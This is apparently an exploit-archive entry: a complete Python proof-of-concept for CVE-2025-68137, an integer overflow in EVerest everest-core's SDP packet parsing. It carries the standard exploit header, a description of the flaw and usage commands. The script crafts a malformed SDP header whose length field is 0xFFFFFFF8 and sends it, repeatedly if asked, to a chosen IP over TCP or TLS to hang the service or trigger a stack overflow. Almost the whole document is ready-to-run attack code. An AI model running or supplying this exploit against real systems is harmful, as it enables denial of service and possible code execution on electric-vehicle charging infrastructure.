EVerest 2025.9.0 – DoS
# Exploit Title: EVerest 2025.9.0 - DoS # Date: 2026-08-11 # Exploit Author: [Ranjit Kumar Singh] # Vendor Homepage: https://github.com/EVerest/everest-core # Software Link: https://github.com/EVerest/everest-core/archive/refs/tags/2025.9.0.tar.gz # Version: everest-core < 2025.10.0 # Tested on: Ubuntu 22.04 / EVerest 2025.9.0 # CVE: CVE-2025-68137 # Attack Vector: Adjacent Network # Authentication: None """ CVE-2025-68137 - EVerest SDP Integer Overflow → Stack Buffer Overflow / DoS Exploit Author: Ranjit Kumar Singh Vendor: https://github.com/EVerest/everest-core Software Link: https://github.com/EVerest/everest-core/archive/refs/tags/2025.9.0.tar.gz Vulnerable Versions: EVerest everest-core < 2025.10.0 Tested on: Linux (Ubuntu 22.04) / EVerest 2025.9.0 CVE: CVE-2025-68137 Description: An integer overflow in SdpPacket::parse_header() allows an attacker to trigger either an infinite loop (TCP) or stack buffer overflow (TLS) by sending a malformed SDP packet with a specially crafted length field. The vulnerability exists because the length field (4 bytes) is added to the header size (8) without proper overflow checking. When the length value is near UINT_MAX, the addition overflows, causing the remaining bytes to read to be interpreted as SIZE_MAX. Usage: # Trigger DoS (infinite loop) on TCP server python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 # Trigger stack buffer overflow on TLS server (may lead to RCE) python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --tls # Send multiple packets to increase impact python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --count 100 # Custom SDP version bytes (for testing different implementations) python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --version 0x01 --inverse 0xFE """ import argparse import socket import ssl import struct import time import sys # SDP Protocol Constants SDP_PROTOCOL_VERSION = 0x01 SDP_INVERSE_PROTOCOL_VERSION = 0xFE V2GTP_HEADER_SIZE = 8 def build_malicious_sdp_packet(version=0x01, inverse=0xFE): """ Build a malformed SDP packet that triggers the integer overflow. The packet structure: - Byte 0: Protocol version (must be 0x01) - Byte 1: Inverse protocol version (must be 0xFE) - Byte 2-3: Reserved/Unused (0x0000) - Byte 4-7: Length field (triggers overflow when +8 is applied) The overflow occurs when the length field is near UINT_MAX. When the code does: length = be32toh(tmp) + V2GTP_HEADER_SIZE If tmp is close to UINT_MAX, the addition overflows. We use 0xFFFFFFFF - 7 to make length = 0 after overflow, then length - bytes_read becomes negative → SIZE_MAX. """ # Trigger integer overflow: tmp + 8 overflows when tmp >= UINT_MAX - 7 # UINT_MAX = 0xFFFFFFFF overflow_value = 0xFFFFFFF8 # UINT_MAX - 7 # Build the packet packet = bytearray() packet.append(version) # Protocol version packet.append(inverse) # Inverse protocol version packet.extend(b'\x00\x00') # Reserved (2 bytes) packet.extend(struct.pack('>I', overflow_value)) # Length (big-endian) return bytes(packet) def build_normal_sdp_packet(version=0x01, inverse=0xFE, payload_size=0): """ Build a normal SDP packet for comparison/testing. """ packet = bytearray() packet.append(version) packet.append(inverse) packet.extend(b'\x00\x00') packet.extend(struct.pack('>I', payload_size)) return bytes(packet) def send_packet(target_ip, target_port, packet, use_tls=False, count=1): """ Send the malformed SDP packet to the target. """ success_count = 0 fail_count = 0 for i in range(count): try: # Create socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) # Wrap with TLS if requested if use_tls: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = context.wrap_socket(sock, server_hostname=target_ip) # Connect and send sock.connect((target_ip, target_port)) sock.send(packet) # Try to read response (may hang if infinite loop triggered) try: response = sock.recv(1024) print(f"[{i+1}/{count}] Response received ({len(response)} bytes)") except socket.timeout: print(f"[{i+1}/{count}] Timeout - possible DoS/loop triggered") sock.close() success_count += 1 except ConnectionRefusedError: print(f"[{i+1}/{count}] Connection refused - service may be down") fail_count += 1 except socket.timeout: print(f"[{i+1}/{count}] Connection timeout") fail_count += 1 except Exception as e: print(f"[{i+1}/{count}] Error: {e}") fail_count += 1 # Small delay between packets if i < count - 1: time.sleep(0.1) return success_count, fail_count def main(): parser = argparse.ArgumentParser( description="CVE-2025-68137 - EVerest SDP Integer Overflow Exploit" ) parser.add_argument("-t", "--target", required=True, help="Target IP address (e.g., 192.168.1.100)") parser.add_argument("-p", "--port", type=int, default=5200, help="Target port (default: 5200)") parser.add_argument("--tls", action="store_true", help="Use TLS connection (triggers stack buffer overflow)") parser.add_argument("--count", type=int, default=1, help="Number of packets to send (default: 1)") parser.add_argument("--version", type=lambda x: int(x, 0), default=0x01, help="Protocol version byte (default: 0x01)") parser.add_argument("--inverse", type=lambda x: int(x, 0), default=0xFE, help="Inverse protocol version byte (default: 0xFE)") parser.add_argument("--payload-size", type=int, default=0, help="Payload size for normal packets (for testing)") parser.add_argument("--normal", action="store_true", help="Send normal packet instead of malicious") args = parser.parse_args() print("=" * 60) print("CVE-2025-68137 - EVerest SDP Integer Overflow Exploit") print("=" * 60) print(f"Target: {args.target}:{args.port}") print(f"TLS: {'Enabled' if args.tls else 'Disabled'}") print(f"Packets: {args.count}") print(f"Mode: {'Normal' if args.normal else 'Malicious'}") print("=" * 60) # Build packet if args.normal: packet = build_normal_sdp_packet(args.version, args.inverse, args.payload_size) print(f"[*] Using normal packet (payload size: {args.payload_size})") else: packet = build_malicious_sdp_packet(args.version, args.inverse) print("[*] Using malicious packet (triggering integer overflow)") print(f"[*] Packet hex: {packet.hex()}") print(f"[*] Packet size: {len(packet)} bytes") print("-" * 60) if args.tls: print("[!] TLS mode: May trigger stack buffer overflow (potential RCE)") else: print("[!] TCP mode: Will trigger infinite loop (DoS)") print("-" * 60) # Send packet print(f"[*] Sending {args.count} packet(s)...") success, fail = send_packet( args.target, args.port, packet, use_tls=args.tls, count=args.count ) print("-" * 60) print(f"[+] Packets sent successfully: {success}") print(f"[-] Failed: {fail}") if success > 0 and not args.normal: print("\n[!] If the target is vulnerable:") if args.tls: print(" - Stack buffer overflow triggered (check for crashes)") print(" - May lead to remote code execution") else: print(" - Infinite loop triggered (service will hang)") print(" - Denial of Service achieved") print("\n[+] References:") print(" - https://github.com/EVerest/EVerest/security/advisories/GHSA-7qq4-q9r8-wc7w") print(" - https://nvd.nist.gov/vuln/detail/CVE-2025-68137") if __name__ == "__main__": main() |